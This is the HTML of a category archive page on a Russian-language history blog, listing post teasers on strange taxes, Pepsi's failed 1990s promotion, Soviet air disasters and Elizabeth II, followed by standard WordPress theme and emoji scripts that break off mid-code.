				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1624" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Пепси-ошибка.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1624" rel="bookmark">Pepsi: Коалиция 349 или самый крупный в истории провал рекламной кампании.</a></h2>
							</header>
				<div class="entry-content">
								<p>В 90-х &#171;Пепси&#187; провела самую ужасную рекламную компания в своей истории. Производитель газировки обещал, что жители&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-1624 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2359 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2359" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Пыль.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2359" rel="bookmark">Самые странные налоги. Часть 8</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на расширители сознания Пополнять налоговый бюджет страны власти США умудряются даже при помощи запрещенных наркотических&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2359 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2357 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2357" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Пирсинг-1024x683.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2357" rel="bookmark">Самые странные налоги. Часть 7</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на солнце В начале 2000-х «солнечный» сбор был введен на Балеарских островах. Налогом на солнце&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2357 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2355 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2355" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Корова.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2355" rel="bookmark">Самые странные налоги. Часть 6</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на невесту В России старейшины чеченских сел долго не думали и обложили налогом самое ценное&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2355 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2353 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2353" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Бездетность.jpeg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2353" rel="bookmark">Самые странные налоги. Часть 5</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на алкоголь В России во все времена боролись с пьянством. В 1985 г. Горбачев придумал&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2353 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2351 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2351" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-ТВ.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2351" rel="bookmark">Самые странные налоги. Часть 4</a></h2>
							</header>
				<div class="entry-content">
								<p>Нобелевский налог Вы думаете, ученые, получившие Нобелевскую премию за выдающиеся достижения, не платят с нее налог?&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2351 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2349 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2349" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Жизнь.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2349" rel="bookmark">Самые странные налоги. Часть 3</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на соль Тот факт, что соль на протяжении многих столетий была едва ли не предметом&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2349 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2347 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2347" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Шляпы-1024x683.jpeg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2347" rel="bookmark">Самые странные налоги. Часть 2</a></h2>
							</header>
				<div class="entry-content">
								<p>Налог на воробьев Налог на воробьев появился в земле Вюртемберг в Германии в 1789 году по&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2347 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2345 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2345" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Самые-странные-налоги.-Окна.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2345" rel="bookmark">Самые странные налоги. Часть 1</a></h2>
							</header>
				<div class="entry-content">
								<p>Первая официальная система налогообложения появилась в первой половине XVIII века до нашей эры в Законах царя&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2345 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1499 post type-post status-publish format-standard has-post-thumbnail hentry category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1499" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/ТУ104-2.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1499" rel="bookmark">Крушение гордости. Как погиб первый советский реактивный лайнер</a></h2>
							</header>
				<div class="entry-content">
								<p>В 1950-х годах в мировой гражданской авиации произошла настоящая революция — на авиалинии вышли первые пассажирские&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=1499" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-1499 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-3052 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=3052" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/02/Австралия-2-1024x683.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=3052" rel="bookmark">История одного геноцида. Часть 2</a></h2>
							</header>
				<div class="entry-content">
								<p>К сожалению, не только кролики создают проблемы Австралии. С каждым годом увеличивается популяциях одичавших верблюдов, которые&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=3052" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-3052 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-3045 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=3045" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/02/Австралия-1-1024x768.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=3045" rel="bookmark">История одного геноцида. Часть 2</a></h2>
							</header>
				<div class="entry-content">
								<p>Эта война идёт до сих пор, и в ней пришлось построить заборы с проволокой, задействовать армию&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-3045 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2144 post type-post status-publish format-standard has-post-thumbnail hentry category-main-12 category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2144" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Елизавета-II.-Фото.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2144" rel="bookmark">Паспорт, водительские права, ключи, кошелек и еще многое из того, что не нужно Елизавете II</a></h2>
							</header>
				<div class="entry-content">
								<p>Почему английская королева гоняет на джипе без номеров — и ей за это ничего не бывает?&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=2144" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-2144 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1545 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-9">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1545" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Джек-Потрошитель-6.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1545" rel="bookmark">Предположительно установлена личность Джека-потрошителя</a></h2>
							</header>
				<div class="entry-content">
								<p>Считается, что британские ученые установили личность Джека-потрошителя — им оказался парикмахер Аарон Косминский. Выяснить это удалось&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=1545" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-1545 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1489 post type-post status-publish format-standard has-post-thumbnail hentry category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1489" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/Максим-горький.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1489" rel="bookmark">«Максим Горький»: гибель гиганта. История трагедии, причины которой оставались засекреченными 75 лет</a></h2>
							</header>
				<div class="entry-content">
								<p>В субботу, 18 мая 1935 года, над Центральным московским аэродромом, располагавшимся на Ходынке, проходил демонстрационный полет&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=1489" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-1489 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2315 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-9">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2315" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/Войны.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2315" rel="bookmark">Самая длинная и самая короткая война в истории цивилизации</a></h2>
							</header>
				<div class="entry-content">
								<p>Пока человечество не научилось обходиться без войн, но хочется верить, что уже в скором будущем они&hellip;</p>
											<a href="https://www.vladimirkoskov.ru/?p=2315" class="btn-read-more">
							Continue Reading							<span class="read-more-icon">
								<svg x="0px" y="0px" viewBox="0 0 476.213 476.213" style="enable-background:new 0 0 476.213 476.213;" xml:space="preserve">
									<polygon points="345.606,107.5 324.394,128.713 418.787,223.107 0,223.107 0,253.107 418.787,253.107 324.394,347.5 345.606,368.713 476.213,238.106 "/>
								</svg>
							</span>
						</a>
							</div><!-- entry-content -->

			</div><!-- .post-2315 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1659 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-9">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1659" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/Александр-Фадеев-записка-1.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1659" rel="bookmark">Почему застрелился писатель Александр Фадеев и что автор &#171;Молодой гвардии&#187; написал в предсмертной записке, адресованной ЦК КПСС</a></h2>
							</header>
				<div class="entry-content">
								<p>24 декабря 1901 года родился Александр Фадеев, один из самых известных деятелей советской литературы. В сталинскую&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-1659 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2262 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-15">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2262" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Домик-Лилибет-1.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2262" rel="bookmark">Любимый домик Лилибет</a></h2>
							</header>
				<div class="entry-content">
								<p>Когда Лилибет (детское имя Елизавете II) исполнилось 6 лет, ей подарили дом Венди, построенный по проекту&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2262 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-2135 post type-post status-publish format-standard has-post-thumbnail hentry category-history">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=2135" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Королевские-роды-3-2-1024x683.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=2135" rel="bookmark">Особенности королевских родов: как рождаются монархи Британии</a></h2>
							</header>
				<div class="entry-content">
								<p>Рождение будущего монарха в Англии всегда было связано с традициями и ритуалами. Некоторые из них за&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-2135 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
				</div><!-- .row .post-wrap-->

				
	<nav class="navigation pagination" aria-label="Пагинация записей">
		<h2 class="screen-reader-text">Пагинация записей</h2>
		<div class="nav-links"><a class="prev page-numbers" href="https://www.vladimirkoskov.ru/?cat=45">Previous</a>
<a class="page-numbers" href="https://www.vladimirkoskov.ru/?cat=45">1</a>
<span aria-current="page" class="page-numbers current">2</span>
<a class="page-numbers" href="https://www.vladimirkoskov.ru/?paged=3&#038;cat=45">3</a>
<a class="next page-numbers" href="https://www.vladimirkoskov.ru/?paged=3&#038;cat=45">Next</a></div>
	</nav>
		</main><!-- #main -->
	</div><!-- .column-inner -->
	</div><!-- #primary -->

								</div><!-- row -->
			</div><!-- .container -->
			</div><!-- #content .site-content-->
	<footer id="colophon" class="site-footer" role="contentinfo">
		
				<div class="featured-stories">
					<div class="container">
								<h3 class="stories-title"><span>
									<a href="https://www.vladimirkoskov.ru/?cat=52">Мысли позитивно</a>
							</span></h3>
							<div class="row">
													<div class="col-sm-6 col-lg-3 post-col">
								<div class="post-boxed">
																			<div class="post-img-wrap">
											<a href="https://www.vladimirkoskov.ru/?p=4679" class="a-post-img">
												<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/11/Позитив.-Квантовая-физика-2.jpg" alt="">
											</a>
										</div><!-- .post-img-wrap -->
																		<div class="post-content">
																				<h3 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=4679">Физики шутят</a></h3>																			</div><!-- .post-content -->
								</div><!-- .post-boxed -->
							</div><!-- .col-sm-6 .col-lg-3 .post-col -->
													<div class="col-sm-6 col-lg-3 post-col">
								<div class="post-boxed">
																			<div class="post-img-wrap">
											<a href="https://www.vladimirkoskov.ru/?p=4672" class="a-post-img">
												<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/10/Физика.-Заставка-4-1024x665.png" alt="">
											</a>
										</div><!-- .post-img-wrap -->
																		<div class="post-content">
																				<h3 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=4672">Физики шутят</a></h3>																			</div><!-- .post-content -->
								</div><!-- .post-boxed -->
							</div><!-- .col-sm-6 .col-lg-3 .post-col -->
													<div class="col-sm-6 col-lg-3 post-col">
								<div class="post-boxed">
																			<div class="post-img-wrap">
											<a href="https://www.vladimirkoskov.ru/?p=4666" class="a-post-img">
												<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/05/Математика.-Заставка-2-1024x576.jpg" alt="">
											</a>
										</div><!-- .post-img-wrap -->
																		<div class="post-content">
																				<h3 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=4666">Математики шутят</a></h3>																			</div><!-- .post-content -->
								</div><!-- .post-boxed -->
							</div><!-- .col-sm-6 .col-lg-3 .post-col -->
													<div class="col-sm-6 col-lg-3 post-col">
								<div class="post-boxed">
																			<div class="post-img-wrap">
											<a href="https://www.vladimirkoskov.ru/?p=4664" class="a-post-img">
												<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/09/Физики-шутят-7.jpg" alt="">
											</a>
										</div><!-- .post-img-wrap -->
																		<div class="post-content">
																				<h3 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=4664">Вовсе и не шутка</a></h3>																			</div><!-- .post-content -->
								</div><!-- .post-boxed -->
							</div><!-- .col-sm-6 .col-lg-3 .post-col -->
											</div><!-- .row -->
					</div><!-- .container -->
				</div><!-- .featured-stories -->
		
					<div class="widget-area">
				<div class="container">
					<div class="row">
						<div class="col-sm-6 col-lg-3">
							<div id="block-11" class="widget widget_block">
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>
</div>
</div>						</div><!-- footer sidebar column 1 -->
						<div class="col-sm-6 col-lg-3">
													</div><!-- footer sidebar column 2 -->
						<div class="col-sm-6 col-lg-3">
													</div><!-- footer sidebar column 3 -->
						<div class="col-sm-6 col-lg-3">
													</div><!-- footer sidebar column 4 -->
					</div><!-- .row -->
				</div><!-- .container -->
			</div><!-- .widget-area -->
				<div class="site-info">
			<div class="container">
				<div class="row site-info-row">
					<div class="site-info-main col-lg">
						<div class="copyright">
							<div class="theme-link">
								Copyright &copy; 2026 <a href="https://www.vladimirkoskov.ru/" title="Вечный путь к совершенству                       " >Вечный путь к совершенству                       </a></div><div class="author-link">Theme by: <a href="https://www.themehorse.com" target="_blank" rel="noopener noreferrer" title="Theme Horse" >Theme Horse</a></div><div class="wp-link">Proudly Powered by: <a href="http://wordpress.org/" target="_blank" rel="noopener noreferrer" title="WordPress">WordPress</a></div>						</div><!-- .copyright -->
					</div><!-- .site-info-main -->
									</div><!-- .row -->
			</div><!-- .container -->
		</div><!-- .site-info -->
	</footer><!-- #colophon -->
	<div class="back-to-top"><a title="Go to Top" href="#masthead"></a></div>
</div><!-- #page -->
<div class="modal fade" id="search-modal" tabindex="-1" aria-hidden="true">
	<button type="button" class="close" data-dismiss="modal" aria-label="Close">
		<span aria-hidden="true">
			<svg x="0px" y="0px" viewBox="0 0 512.001 512.001" style="enable-background:new 0 0 512.001 512.001;">
				<path d="M284.286,256.002L506.143,34.144c7.811-7.811,7.811-20.475,0-28.285c-7.811-7.81-20.475-7.811-28.285,0L256,227.717 L34.143,5.859c-7.811-7.811-20.475-7.811-28.285,0c-7.81,7.811-7.811,20.475,0,28.285l221.857,221.857L5.858,477.859 c-7.811,7.811-7.811,20.475,0,28.285c3.905,3.905,9.024,5.857,14.143,5.857c5.119,0,10.237-1.952,14.143-5.857L256,284.287 l221.857,221.857c3.905,3.905,9.024,5.857,14.143,5.857s10.237-1.952,14.143-5.857c7.811-7.811,7.811-20.475,0-28.285 L284.286,256.002z"/>
			</svg>
		</span>
	</button>
	<div class="modal-dialog">
		<div class="modal-content">
			<div class="modal-body">
				<form action="https://www.vladimirkoskov.ru/" method="get" class="search-form">
	<label class="assistive-text"> Search </label>
	<div class="input-group">
		<input type="search" value="" placeholder="Search" class="form-control s" name="s">
		<div class="input-group-prepend">
			<button class="btn btn-theme">Search</button>
		</div>
	</div>
</form><!-- .search-form -->
			</div><!-- .modal-body -->
		</div><!-- .modal-content -->
	</div><!-- .modal-dialog -->
</div><!-- .modal .fade #search-modal -->

<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/bootstrap/js/popper.min.js?ver=1.12.9" id="popper-script-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/bootstrap/js/bootstrap.min.js?ver=4.0.0" id="bootstrap-script-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/match-height/jquery.matchHeight-min.js?ver=0.7.2" id="jquery-match-height-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/match-height/jquery.matchHeight-settings.js?ver=6.9.4" id="meta-news-match-height-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/js/skip-link-focus-fix.js?ver=20151215" id="meta-news-skip-link-focus-fix-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/js/scripts.js?ver=6.9.4" id="meta-news-scripts-js"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.vladimirkoskov.ru/wp-includes/js/wp-emoji-release.min.js?ver=6.9.4"}}
</script>
<script type="module">
/* <![CDATA[ */
/*! This file is auto-generated */
const a=JSON.parse(document.getElementById("wp-emoji-settings").textContent),o=(window._wpemojiSettings=a,"wpEmojiSettingsSupports"),s=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const a=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===a[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,a){let r;const o=(r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),s=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(e=>{s[e]=t(o,e,n,a)}),s}function r(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}a.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return 